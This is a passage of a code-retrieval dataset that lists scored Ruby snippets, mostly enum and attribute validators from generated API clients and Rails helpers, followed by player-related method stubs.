"text": "def ticket_status=(val)\r\n\r\nself.ticket_status__index_was = self.ticket_status__index\r\ncase val\r\nwhen nil\r\n write_attribute(:ticket_status, nil)\r\nwhen 1..11 # index\r\n write_attribute(:ticket_status, val)\r\nwhen \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\" # index as string\r\n write_attribute(:ticket_status, val.to_i)\r\nwhen *(self.ticket_status__potential_values) # value\r\n write_attribute(:ticket_status, self.ticket_status__potential_values.index(val) + 1)\r\nwhen *LOCALIZED_TICKET_STATUSES # localized value\r\n write_attribute(:ticket_status, LOCALIZED_TICKET_STATUSES.index(val) + 1)\r\nelse\r\n write_attribute(:ticket_status, nil)\r\nend\r\nend",
"title": ""
},
{
"docid": "ffa2a8f8afc3c428fef0c1509c6c1a41",
"score": "0.53426266",
"text": "def validate_with_definition value, param\n sx = []\n case type\n when :enum\n enum = self.enum\n if enum.key?(value)\n value.replace(enum[value]) if enum[value] != value\n else\n sx.push \"#{vernacular} must be {#{enum.keys.sort.join('|')}}, not #{value.inspect}\"\n end\n when :integer ; /\\A-?\\d+\\z/ =~ value or\n sx.push(\"#{vernacular} must be an integer, not #{value.inspect}\")\n when :float ; /\\A-?\\d+(?:\\.\\d+)?\\z/ =~ value or\n sx.push(\"#{vernacular} must be a float, not {value.inspect}\")\n when :string, :file ; # string: nothing, all data is string data from our perspective\n else; fail(\"not yet, maybe one day timmy: #{type.inspect}\")\n end\n sentence_join sx\n end",
"title": ""
},
{
"docid": "56e1d37d049e3d7fbbaa610f8be6b1f9",
"score": "0.53405076",
"text": "def attrib_bits=(value); end",
"title": ""
},
{
"docid": "5df8b13d444ed10628dbc6b9d1afa674",
"score": "0.5331571",
"text": "def check_enum(str)\n buf = String.new\n ar = (str.split('('))\n ar[1].chomp!(')')\n limit = ar[1].split(',')\n buf << \", :limit => [\"\n limit.each do |option|\n buf << ':' << option.tr(\"'\",\"\") << ','\n end\n buf.chomp!(',') # remove the last comma\n buf << ']' # end the options array \n end",
"title": ""
},
{
"docid": "6e84adb3711bdbf84923e64ee61b24e0",
"score": "0.532132",
"text": "def enum hash\n key = hash.keys.first\n (self.enums ||= {}).merge! hash\n define_attribute_methods if !attribute_methods_generated?\n class_eval %{\n def #{key}\n missing_attribute('#{key}', caller) unless @attributes.has_key?('#{key}')\n self.class.enums[:#{key}][@attributes['#{key}']]\n end\n def #{key}=(val)\n write_attribute('#{key}', Fixnum === val ? val : self.class.enums[:#{key}].index val.to_s\n end\n }\n end",
"title": ""
},
{
"docid": "6ece11983f7f07b25217cd0ce22063c8",
"score": "0.5320188",
"text": "def currency_code=(currency_code)\n validator = EnumAttributeValidator.new('String', [\"AED\", \"AFN\", \"ALL\", \"AMD\", \"ANG\", \"AOA\", \"ARS\", \"AUD\", \"AWG\", \"AZN\", \"BAM\", \"BBD\", \"BDT\", \"BGN\", \"BHD\", \"BIF\", \"BMD\", \"BND\", \"BOB\", \"BOV\", \"BRL\", \"BSD\", \"BTN\", \"BWP\", \"BYR\", \"BZD\", \"CAD\", \"CDF\", \"CHE\", \"CHF\", \"CHW\", \"CLF\", \"CLP\", \"CNY\", \"COP\", \"COU\", \"CRC\", \"CUC\", \"CUP\", \"CVE\", \"CZK\", \"DJF\", \"DKK\", \"DOP\", \"DZD\", \"EGP\", \"ERN\", \"ETB\", \"EUR\", \"FJD\", \"FKP\", \"GBP\", \"GEL\", \"GHS\", \"GIP\", \"GMD\", \"GNF\", \"GTQ\", \"GYD\", \"HKD\", \"HNL\", \"HRK\", \"HTG\", \"HUF\", \"IDR\", \"ILS\", \"INR\", \"IQD\", \"IRR\", \"ISK\", \"JMD\", \"JOD\", \"JPY\", \"KES\", \"KGS\", \"KHR\", \"KMF\", \"KPW\", \"KRW\", \"KWD\", \"KYD\", \"KZT\", \"LAK\", \"LBP\", \"LKR\", \"LRD\", \"LSL\", \"LTL\", \"LVL\", \"LYD\", \"MAD\", \"MDL\", \"MGA\", \"MKD\", \"MMK\", \"MNT\", \"MOP\", \"MRO\", \"MUR\", \"MVR\", \"MWK\", \"MXN\", \"MXV\", \"MYR\", \"MZN\", \"NAD\", \"NGN\", \"NIO\", \"NOK\", \"NPR\", \"NZD\", \"OMR\", \"PAB\", \"PEN\", \"PGK\", \"PHP\", \"PKR\", \"PLN\", \"PYG\", \"QAR\", \"RON\", \"RSD\", \"RUB\", \"RWF\", \"SAR\", \"SBD\", \"SCR\", \"SDG\", \"SEK\", \"SGD\", \"SHP\", \"SLL\", \"SOS\", \"SRD\", \"SSP\", \"STD\", \"SVC\", \"SYP\", \"SZL\", \"THB\", \"TJS\", \"TMT\", \"TND\", \"TOP\", \"TRY\", \"TTD\", \"TWD\", \"TZS\", \"UAH\", \"UGX\", \"USD\", \"USN\", \"USS\", \"UYI\", \"UYU\", \"UZS\", \"VEF\", \"VND\", \"VUV\", \"WST\", \"XAF\", \"XAG\", \"XAU\", \"XBA\", \"XBB\", \"XBC\", \"XBD\", \"XCD\", \"XDR\", \"XOF\", \"XPD\", \"XPF\", \"XPT\", \"XTS\", \"XXX\", \"YER\", \"ZAR\", \"ZMK\", \"ZMW\", \"BTC\"])\n unless validator.valid?(currency_code)\n fail ArgumentError, \"invalid value for 'currency_code', must be one of #{validator.allowable_values}.\"\n end\n @currency_code = currency_code\n end",
"title": ""
},
{
"docid": "586494cb36b3d47597bc00c4bef5caf8",
"score": "0.5312471",
"text": "def valid?\n entity_type_validator = EnumAttributeValidator.new('Integer', [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"49\", \"50\", \"51\", \"52\", \"53\", \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"60\", \"61\", \"62\", \"63\", \"64\", \"65\", \"66\", \"67\", \"68\", \"69\", \"70\", \"71\", \"72\", \"73\", \"74\", \"75\", \"76\", \"77\", \"78\", \"79\", \"80\", \"81\", \"82\", \"83\", \"84\", \"85\", \"86\", \"87\", \"88\", \"89\", \"90\", \"91\", \"92\", \"93\", \"94\", \"95\", \"96\", \"97\", \"98\", \"99\", \"100\", \"101\", \"102\", \"103\", \"104\", \"105\", \"106\", \"107\", \"108\", \"109\", \"110\", \"111\", \"112\", \"113\", \"114\", \"115\", \"116\", \"118\", \"119\", \"120\", \"121\", \"122\", \"123\", \"124\", \"125\", \"126\", \"127\", \"128\", \"129\", \"300\", \"301\", \"302\", \"303\", \"304\", \"305\", \"306\", \"307\", \"308\", \"309\", \"310\", \"10000\", \"10001\", \"10002\", \"10003\"])\n return false unless entity_type_validator.valid?(@entity_type)\n return true\n end",
"title": ""
},
{
"docid": "fcf257c078c19338e239395fe52d1bf7",
"score": "0.52899104",
"text": "def required_numeric_attributes\n enum? ? [] : %i[min max default]\n end",
"title": ""
},
{
"docid": "8744b6f6ec057efddfe190f0250661c2",
"score": "0.5289861",
"text": "def scope(attribute, value)\n attribute.contains(::Arel.array(value, cast: enum_source.type_name))\n end",
"title": ""
},
{
"docid": "e7ed1f76c1df15f1da65493bac971b91",
"score": "0.52886355",
"text": "def enum_is_valid(mapper, enum_value)\n if enum_value.is_a?(String) && !enum_value.empty?\n model = get_model(mapper[:type][:module])\n model.constants.any? { |e| model.const_get(e).to_s.downcase == enum_value.downcase }\n else\n false\n end\n end",
"title": ""
},
{
"docid": "7063c0729003125904b123f1afb4047a",
"score": "0.5285531",
"text": "def valid?\n return false if !super\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Title', 'Text', 'TwoColumnText', 'Table', 'TextAndChart', 'ChartAndText', 'Diagram', 'Chart', 'TextAndClipArt', 'ClipArtAndText', 'TitleOnly', 'Blank', 'TextAndObject', 'ObjectAndText', 'Object', 'TitleAndObject', 'TextAndMedia', 'MediaAndText', 'ObjectOverText', 'TextOverObject', 'TextAndTwoObjects', 'TwoObjectsAndText', 'TwoObjectsOverText', 'FourObjects', 'VerticalText', 'ClipArtAndVerticalText', 'VerticalTitleAndText', 'VerticalTitleAndTextOverChart', 'TwoObjects', 'ObjectAndTwoObject', 'TwoObjectsAndObject', 'SectionHeader', 'TwoTextAndTwoObjects', 'TitleObjectAndCaption', 'PictureAndCaption', 'Custom'])\n return false unless type_validator.valid?(@type)\n true\n end",
"title": ""
},
{
"docid": "c93e6e74c7ca8e3ec937ebaf83b2a76f",
"score": "0.52761",
"text": "def attribute_value_allowed?(attribute_name, value)\n allowed_values = Hash(defined_attributes).fetch(attribute_name, {})[:allowed_values]\n\n value.nil? || allowed_values.nil? || allowed_values.include?(value)\n end",
"title": ""
},
{
"docid": "0e7f6415a6d39d26b0d04e00bc265c9b",
"score": "0.52667576",
"text": "def valid?\n type_validator = EnumAttributeValidator.new('String', [\"AP\", \"AR\", \"EE\", \"EI\", \"EO\", \"IA\", \"IT\", \"P\", \"PF\", \"R\", \"RA\", \"RD\", \"RE\", \"RP\", \"ST\", \"SD\", \"ET\", \"RM\", \"FT\", \"PT\"])\n return false unless type_validator.valid?(@type)\n expense_class_validator = EnumAttributeValidator.new('String', [\"NonReimbursable\", \"Reimbursable\", \"Personal\"])\n return false unless expense_class_validator.valid?(@expense_class)\n return true\n end",
"title": ""
},
{
"docid": "6f2bdf88da66c4e515a530f51c13c388",
"score": "0.5265088",
"text": "def enum_types; end",
"title": ""
},
{
"docid": "f4293acbc9bf8b16c2e3724403116f39",
"score": "0.52627",
"text": "def allowed_values(type, field, workspace = nil)\n rally_workspace_object(workspace)\n \n type_def = get_typedef_for(type, workspace)\n allowed_vals = {}\n type_def[\"Attributes\"].each do |attr|\n next if attr[\"ElementName\"] != field\n attr[\"AllowedValues\"].each do |val_ref|\n val = val_ref[\"StringValue\"]\n val = \"Null\" if val.nil? || val.empty?\n allowed_vals[val] = true\n end\n end\n allowed_vals\n end",
"title": ""
},
{
"docid": "980f1ecce12cb6af88aea60e530e6082",
"score": "0.5253876",
"text": "def attr_allowed(attribute, *args)\n opt = args.last.is_a?(Hash) ? args.pop : {}\n vals = {}\n args.flatten.map { |v| vals[v.to_sym] = v.to_s }\n defn = Definition.new(attribute, vals, opt)\n easy_attribute_accessors(attribute, defn)\n end",
"title": ""
},
{
"docid": "7d42bd6632b5674e48aa4039d3b8ccee",
"score": "0.52505875",
"text": "def entity_type=(entity_type)\n validator = EnumAttributeValidator.new('Integer', [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\", \"20\", \"21\", \"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"28\", \"29\", \"30\", \"31\", \"32\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"39\", \"40\", \"41\", \"42\", \"43\", \"44\", \"45\", \"46\", \"47\", \"48\", \"49\", \"50\", \"51\", \"52\", \"53\", \"54\", \"55\", \"56\", \"57\", \"58\", \"59\", \"60\", \"61\", \"62\", \"63\", \"64\", \"65\", \"66\", \"67\", \"68\", \"69\", \"70\", \"71\", \"72\", \"73\", \"74\", \"75\", \"76\", \"77\", \"78\", \"79\", \"80\", \"81\", \"82\", \"83\", \"84\", \"85\", \"86\", \"87\", \"88\", \"89\", \"90\", \"91\", \"92\", \"93\", \"94\", \"95\", \"96\", \"97\", \"98\", \"99\", \"100\", \"101\", \"102\", \"103\", \"104\", \"105\", \"106\", \"107\", \"108\", \"109\", \"110\", \"111\", \"112\", \"113\", \"114\", \"115\", \"116\", \"118\", \"119\", \"120\", \"121\", \"122\", \"123\", \"124\", \"125\", \"126\", \"127\", \"128\", \"129\", \"300\", \"301\", \"302\", \"303\", \"304\", \"305\", \"306\", \"307\", \"308\", \"309\", \"310\", \"10000\", \"10001\", \"10002\", \"10003\"])\n unless validator.valid?(entity_type)\n fail ArgumentError, \"invalid value for 'entity_type', must be one of #{validator.allowable_values}.\"\n end\n @entity_type = entity_type\n end",
"title": ""
},
{
"docid": "cb5074b4e936a2db2c33d0ad25a62fdf",
"score": "0.5248408",
"text": "def privilege_required=(privilege_required)\n validator = EnumAttributeValidator.new('String', ['N', 'L', 'H'])\n unless validator.valid?(privilege_required)\n fail ArgumentError, 'invalid value for \"privilege_required\", must be one of #{validator.allowable_values}.'\n end\n @privilege_required = privilege_required\n end",
"title": ""
},
{
"docid": "6630708f3097fe961a4387771ec75898",
"score": "0.52477276",
"text": "def compliance=(compliance)\n validator = EnumAttributeValidator.new('String', ['Pdf15', 'Pdf16', 'Pdf17', 'PdfA1b', 'PdfA1a', 'PdfA2b', 'PdfA2a', 'PdfA3b', 'PdfA3a', 'PdfUa', 'PdfA2u'])\n unless validator.valid?(compliance)\n fail ArgumentError, 'invalid value for \"compliance\", must be one of #{validator.allowable_values}.'\n end\n @compliance = compliance\n end",
"title": ""
},
{
"docid": "f26eec2ae4be71069d63afdafd26f153",
"score": "0.524471",
"text": "def rewrite_enum_defaults; end",
"title": ""
},
{
"docid": "2f3caf89293d72fac9358347684cc788",
"score": "0.523026",
"text": "def allowed_values(value, pdef)\n if pdef.include?(value)\n true\n else\n \"Not an allowed value: #{pdef.join(\", \")}\"\n end\n end",
"title": ""
},
{
"docid": "d723220910558b7a1c37d87921066b14",
"score": "0.52230734",
"text": "def valid?\n return false if !super\n limit_location_validator = EnumAttributeValidator.new('String', ['NotDefined', 'UnderOver', 'SubscriptSuperscript'])\n return false unless limit_location_validator.valid?(@limit_location)\n true\n end",
"title": ""
},
{
"docid": "319a3a450dd9ecea8d2d82c7a2b61adb",
"score": "0.52222794",
"text": "def attribute_allowed?(attr)\n opts.fetch(:all_attributes, config[:all_attributes], allowed_attributes.include?(attr))\n end",
"title": ""
},
{
"docid": "a5b84d23fe44fecd0d339a41afe7dcb4",
"score": "0.5220709",
"text": "def validate!\n if options[:required] && blank?\n raise \"'#{name}' attribute is required\"\n elsif options[:required_if]\n req_if = options[:required_if]\n if req_if.is_a?(Symbol) && (respond_to?(req_if, true) ? send(req_if) : req_if) && blank?\n raise \"'#{name}' attribute is required, because `required_if` is given (`#{req_if}`)\"\n end\n end\n\n if !value.is_a?(type)\n raise \"Value of attribute '#{name}' is not a #{type}\"\n end\n end",
"title": ""
},
{
"docid": "6d9a7f4204ef963e52d948b0ce5dd80a",
"score": "0.52190924",
"text": "def error_type=(error_type)\n validator = EnumAttributeValidator.new('String', [\"INCORRECT_NUMBER_OF_COLUMNS\", \"INVALID_OBJECT_ID\", \"INVALID_ASSOCIATION_IDENTIFIER\", \"NO_OBJECT_ID_FROM_ASSOCIATION_IDENTIFIER\", \"MULTIPLE_COMPANIES_WITH_THIS_DOMAIN\", \"PROPERTY_DEFINITION_NOT_FOUND\", \"PROPERTY_VALUE_NOT_FOUND\", \"COULD_NOT_FIND_OWNER\", \"MULTIPLE_OWNERS_FOUND\", \"COULD_NOT_FIND_BUSINESS_UNIT\", \"COULD_NOT_PARSE_NUMBER\", \"COULD_NOT_PARSE_DATE\", \"COULD_NOT_PARSE_TERM\", \"OUTSIDE_VALID_TIME_RANGE\", \"OUTSIDE_VALID_TERM_RANGE\", \"COULD_NOT_PARSE_ROW\", \"INVALID_ENUMERATION_OPTION\", \"AMBIGUOUS_ENUMERATION_OPTION\", \"FAILED_VALIDATION\", \"FAILED_TO_CREATE_ASSOCIATION\", \"FILE_NOT_FOUND\", \"INVALID_COLUMN_CONFIGURATION\", \"INVALID_FILE_TYPE\", \"INVALID_SPREADSHEET\", \"INVALID_SHEET_COUNT\", \"FAILED_TO_PROCESS_OBJECT_WITH_EMPTY_PROPERTY_VALUES\", \"UNKNOWN_BAD_REQUEST\", \"GDPR_BLACKLISTED_EMAIL\", \"DUPLICATE_ASSOCIATION_ID\", \"LIMIT_EXCEEDED\", \"INVALID_ALTERNATE_ID\", \"INVALID_EMAIL\", \"INVALID_DOMAIN\", \"DUPLICATE_ROW_CONTENT\", \"INVALID_NUMBER_SIZE\", \"UNKNOWN_ERROR\", \"FAILED_TO_OPT_OUT_CONTACT\", \"INVALID_REQUIRED_PROPERTY\", \"MISSING_REQUIRED_PROPERTY\", \"DUPLICATE_ALTERNATE_ID\", \"DUPLICATE_OBJECT_ID\", \"DUPLICATE_UNIQUE_PROPERTY_VALUE\", \"BLANK_VALUE_PROVIDED\", \"UNKNOWN_ASSOCIATION_RECORD_ID\", \"INVALID_RECORD_ID\", \"DUPLICATE_RECORD_ID\", \"INVALID_CUSTOM_PROPERTY_VALIDATION\", \"CREATE_ONLY_IMPORT\", \"UPDATE_ONLY_IMPORT\", \"COLUMN_TOO_LARGE\"])\n unless validator.valid?(error_type)\n fail ArgumentError, \"invalid value for \\\"error_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @error_type = error_type\n end",
"title": ""
},
{
"docid": "446494fcb3efd8f352acaca7c4a6d047",
"score": "0.5215425",
"text": "def create_enum(name, values); end",
"title": ""
},
{
"docid": "fe6b9841a175c460b83a392a86e9a4ac",
"score": "0.5214961",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"allowedValues\", @allowed_values)\n writer.write_string_value(\"attributeSet\", @attribute_set)\n writer.write_string_value(\"description\", @description)\n writer.write_boolean_value(\"isCollection\", @is_collection)\n writer.write_boolean_value(\"isSearchable\", @is_searchable)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"status\", @status)\n writer.write_string_value(\"type\", @type)\n writer.write_boolean_value(\"usePreDefinedValuesOnly\", @use_pre_defined_values_only)\n end",
"title": ""
},
{
"docid": "79d03bfb9f000170105261083051cd19",
"score": "0.5211555",
"text": "def valid?\n side_validator = EnumAttributeValidator.new('String', [\"B\", \"L\"])\n return false unless side_validator.valid?(@side)\n pt_validator = EnumAttributeValidator.new('String', [\"L\", \"P\", \"MOC\"])\n return false unless pt_validator.valid?(@pt)\n ot_validator = EnumAttributeValidator.new('String', [\"L\", \"LOC\", \"MOC\"])\n return false unless ot_validator.valid?(@ot)\n status_validator = EnumAttributeValidator.new('String', [\"E\", \"EC\"])\n return false unless status_validator.valid?(@status)\n return true\n end",
"title": ""
},
{
"docid": "9f71a66000c11a6d5f116fa9095577fa",
"score": "0.5202982",
"text": "def validate!\n validations.each do |v|\n value = send v[:attr_name]\n unless validate_value(value, v[:condition])\n raise ArgumentError, \"#{v[:attr_name]} validation failed, #{v[:condition]} missmatch\"\n end\n end\n end",
"title": ""
},
{
"docid": "1e923cb61bf776a06ba32052325ed514",
"score": "0.5197755",
"text": "def define_enum_tests(enum_name)\n enumeration = rd_bitwise_enumerations[enum_name][:values]\n\n enumeration.each do |name, value|\n method_name = \"#{ name }?\".to_sym\n raise RuntimeError.new \"The method #{ method_name } already exists on this class.\" if respond_to? method_name\n\n define_method method_name do\n current_value = instance_variable_get \"@#{ enum_name }\"\n current_value | value == current_value\n end\n end\n end",
"title": ""
},
{
"docid": "cc8b1fff0b0710ccdcc2397bc24114be",
"score": "0.5186557",
"text": "def allowed_values=(value)\n @allowed_values = value\n end",
"title": ""
},
{
"docid": "c68d3dab8fc6a202b2ef083d686986af",
"score": "0.51764196",
"text": "def validate!\n VALID_RANGES.include?(self.value.to_i)\n end",
"title": ""
},
{
"docid": "634d57b32c5043b783dd4c8cf18001d0",
"score": "0.51757836",
"text": "def value_acceptable?\n self.allowed_values.blank? || self.allowed_values.include?(self.value)\n end",
"title": ""
},
{
"docid": "602f8ac854b2a536ca5e9e4cae0c354c",
"score": "0.517188",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['ClusteredColumn', 'StackedColumn', 'PercentsStackedColumn', 'ClusteredColumn3D', 'StackedColumn3D', 'PercentsStackedColumn3D', 'Column3D', 'ClusteredCylinder', 'StackedCylinder', 'PercentsStackedCylinder', 'Cylinder3D', 'ClusteredCone', 'StackedCone', 'PercentsStackedCone', 'Cone3D', 'ClusteredPyramid', 'StackedPyramid', 'PercentsStackedPyramid', 'Pyramid3D', 'Line', 'StackedLine', 'PercentsStackedLine', 'LineWithMarkers', 'StackedLineWithMarkers', 'PercentsStackedLineWithMarkers', 'Line3D', 'Pie', 'Pie3D', 'PieOfPie', 'ExplodedPie', 'ExplodedPie3D', 'BarOfPie', 'PercentsStackedBar', 'ClusteredBar3D', 'ClusteredBar', 'StackedBar', 'StackedBar3D', 'PercentsStackedBar3D', 'ClusteredHorizontalCylinder', 'StackedHorizontalCylinder', 'PercentsStackedHorizontalCylinder', 'ClusteredHorizontalCone', 'StackedHorizontalCone', 'PercentsStackedHorizontalCone', 'ClusteredHorizontalPyramid', 'StackedHorizontalPyramid', 'PercentsStackedHorizontalPyramid', 'Area', 'StackedArea', 'PercentsStackedArea', 'Area3D', 'StackedArea3D', 'PercentsStackedArea3D', 'ScatterWithMarkers', 'ScatterWithSmoothLinesAndMarkers', 'ScatterWithSmoothLines', 'ScatterWithStraightLinesAndMarkers', 'ScatterWithStraightLines', 'HighLowClose', 'OpenHighLowClose', 'VolumeHighLowClose', 'VolumeOpenHighLowClose', 'Surface3D', 'WireframeSurface3D', 'Contour', 'WireframeContour', 'Doughnut', 'ExplodedDoughnut', 'Bubble', 'BubbleWith3D', 'Radar', 'RadarWithMarkers', 'FilledRadar', 'SeriesOfMixedTypes', 'Treemap', 'Sunburst', 'Histogram', 'ParetoLine', 'BoxAndWhisker', 'Waterfall', 'Funnel', 'Map'])\n unless validator.valid?(type)\n fail ArgumentError, 'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"title": ""
},
{
"docid": "a4520abf5f6d779b6fb201a1b817d260",
"score": "0.5167127",
"text": "def legal_annual_turn_over=(legal_annual_turn_over)\n validator = EnumAttributeValidator.new('String', ['', '0-39', '40-99', '100-249', '250-999', '1000-2999', '3000-9999', '10000-99999', '100000-*'])\n unless validator.valid?(legal_annual_turn_over)\n fail ArgumentError, 'invalid value for \"legal_annual_turn_over\", must be one of #{validator.allowable_values}.'\n end\n @legal_annual_turn_over = legal_annual_turn_over\n end",
"title": ""
},
{
"docid": "dbedd61f66b340a99e72d5cc697d6928",
"score": "0.51604706",
"text": "def test_bad_value\n row = Enumeration.new\n row.color = :violet\n row.string_field = 'test'\n assert !row.save\n \n assert row.errors\n assert_equal ['is not included in the list'], row.errors['color']\n end",
"title": ""
},
{
"docid": "19f9af10736a3af55177dd4c0d0b4c36",
"score": "0.5147595",
"text": "def side=(side)\n validator = EnumAttributeValidator.new('String', [\"B\", \"L\"])\n unless validator.valid?(side)\n fail ArgumentError, \"invalid value for 'side', must be one of #{validator.allowable_values}.\"\n end\n @side = side\n end",
"title": ""
},
{
"docid": "b9a0d8742e3a4d9c8531bab0aa937aa9",
"score": "0.5141698",
"text": "def valid_attributes\n {\n name: \"Unlimited\"\n }\n end",
"title": ""
},
{
"docid": "b9a0d8742e3a4d9c8531bab0aa937aa9",
"score": "0.5141698",
"text": "def valid_attributes\n {\n name: \"Unlimited\"\n }\n end",
"title": ""
},
{
"docid": "4b656e823f1023cdcfc7123acf4549b9",
"score": "0.51416904",
"text": "def invalid_attribute_value(klass, value)\n raise ArgumentError,\n \"Declared attribute was #{klass}, received #{value}\"\n end",
"title": ""
},
{
"docid": "728825a97d6143ec1d1ba0b555b074b4",
"score": "0.5140674",
"text": "def supported_attribute_types=(value)\n @supported_attribute_types = value\n end",
"title": ""
},
{
"docid": "18a1aac9f6fd98fc6e91c763811a885b",
"score": "0.51371515",
"text": "def it_should_not_allow_values_for(attribute, *bad_values)\n message = get_options!(bad_values, :message)\n message ||= default_error_message(:invalid)\n klass = self.described_type\n bad_values.each do |v|\n describe \"doesn't allow #{attribute} to be set to #{v.inspect}\" do\n assert_bad_value(klass, attribute, v, message)\n end\n end\n end",
"title": ""
},
{
"docid": "3166f88ed8e7b3071fc74b28818b2cf5",
"score": "0.5137089",
"text": "def define_writer(name, options = {})\n values = extract_values_from(options)\n format = extract_format_from(options)\n types = extract_types_from(options)\n\n define_method(\"#{name}=\") do |value|\n raise InvalidAttributeValue.new(value, values) if values && !values.include?(value)\n\n raise InvalidAttributeFormat.new(value, format) if !format.nil? && value !~ format\n\n raise InvalidAttributeType.new(value, types) if value && types && types.none? { |klass| value.is_a?(klass) }\n\n instance_variable_set(:\"@#{name}\", value)\n end\n end",
"title": ""
},
{
"docid": "e1b6f0832f47b970d86ee6bbe0069165",
"score": "0.51299214",
"text": "def enum_values\n return if $enums.empty?\n\n filename = File.join \"#{$app_root}/app/models\", \"#{$name}.rb\"\n File.open(filename, \"r\") {|file| @lines = file.readlines; }\n\n $enums.each_with_index do |enum, index|\n @lines.each do |line|\n# if line.include?('enum') && line.include? \"#{enum}:\"\n if line.match('enum' && \"#{enum}:\")\n $enums_qty[index] = line.count(',') + 1 # Number of commas + 1\n end\n end\n end\n\n # If no enum statements found in the Model file (NOT NEEEDE now)\n if $enums_qty.empty?\n (0...$enums.count).each do |i|\n $enums_qty[i] = ENUM_DDL_THRESHOLD # All enum attributes to be listed as DDLs\n end\n end\n end",
"title": ""
},
{
"docid": "774a366b9f69fd65cf48be53dd57842f",
"score": "0.5128379",
"text": "def valid_attribute?(attr_name)\n attribute_names.include?(attr_name)\n end",
"title": ""
},
{
"docid": "477daded5fe1fcf4833feef5d28df0b8",
"score": "0.5122318",
"text": "def valid_attribute?(attr_name)\n attribute_names.include?(attr_name)\n end",
"title": ""
},
{
"docid": "9e09e478ffbcd5696adbbac0de32b806",
"score": "0.51165044",
"text": "def check_attribute(attr)\n tag = attr.parent_tag\n\n return warning \"(Tag: #{tag.name}) \"\\\n \"Invalid Attribute '#{attr.name}'\" unless valid_attribute?(tag, attr)\n\n return warning \"(Tag: #{tag.name}, Attribute: #{attr.name})\"\\\n \" Invalid Value '#{attr.value}'\" unless self[tag.name][attr.name]\n .valid?(attr)\n\n true\n end",
"title": ""
},
{
"docid": "184f4ffa6d25c68dad37fb2bd3c2ea24",
"score": "0.5114191",
"text": "def allowable_values(allowable_range)\n\t\traise RuntimeError, \"#{self.class.to_s} does not implement #allowable_values\"\n\t end",
"title": ""
},
{
"docid": "abdee14b197eb02bfd48be4843938a8d",
"score": "0.5112832",
"text": "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"classification\", @classification)\n writer.write_string_value(\"permissionId\", @permission_id)\n writer.write_string_value(\"permissionName\", @permission_name)\n end",
"title": ""
},
{
"docid": "bdb1fc5342abbce086a370e8721623a6",
"score": "0.5107131",
"text": "def visit_enum(binding_type)\n raise NotImplementedError\n end",
"title": ""
}
] |
fbbdebe5ddb8bf93f144c5a7b6d52c17
|
=begin :type player_id: Integer :rtype: Void =end
|
[
{
"docid": "92812ee6027e7f92100a9cfadedbad70",
"score": "0.6665155",
"text": "def reset(player_id)\n \n end",
"title": ""
}
] |
[
{
"docid": "03b25036d7e18e7f9de21776144681ce",
"score": "0.69595015",
"text": "def initial_completed(player_id); 0; end",
"title": ""
},
{
"docid": "30545b4c479b81642db1eba9ab6fa217",
"score": "0.6767559",
"text": "def player; end",
"title": ""
},
{
"docid": "9264f3e7a0775251921bf0ec2665de8e",
"score": "0.6695734",
"text": "def add_player\n end",
"title": ""
},
{
"docid": "c22f269050837777afdfd050221c5aff",
"score": "0.65624034",
"text": "def next_player!\n end",
"title": ""
},
{
"docid": "ea09e800ccdae226c8b207ff9bbb4d0b",
"score": "0.65424806",
"text": "def set_player\n @player = Player.find_by_hashid(params[:id])\n end",
"title": ""
},
{
"docid": "8dd53dc50c7038c7566ab0a6b600600f",
"score": "0.65268135",
"text": "def pbChangePlayer(id)\n return false if id<0 || id>=8\n meta = pbGetMetadata(0,MetadataPlayerA+id)\n return false if !meta\n $Trainer.trainertype = meta[0] if $Trainer\n $game_player.character_name = meta[1]\n $game_player.character_hue = 0\n $PokemonGlobal.playerID = id\n $Trainer.metaID = id if $Trainer\nend",
"title": ""
},
{
"docid": "2ff4bb95a85c1cff4c40de06528ba5df",
"score": "0.65048575",
"text": "def set_player \n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "824daa05722f3c7eec1870b54aa345bd",
"score": "0.65008724",
"text": "def player(id)\n @players[id]\n end",
"title": ""
},
{
"docid": "824daa05722f3c7eec1870b54aa345bd",
"score": "0.65008724",
"text": "def player(id)\n @players[id]\n end",
"title": ""
},
{
"docid": "824daa05722f3c7eec1870b54aa345bd",
"score": "0.65008724",
"text": "def player(id)\n @players[id]\n end",
"title": ""
},
{
"docid": "2cb1a5e482573aad0617dfc3b7e94ed6",
"score": "0.64661306",
"text": "def set_player\r\n @player = Player.find(params[:id].to_s)\r\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
"docid": "320d77f8a5d58723e255b269ab6b0206",
"score": "0.64231807",
"text": "def set_player\n @player = Player.find(params[:id])\n end",
"title": ""
},
{
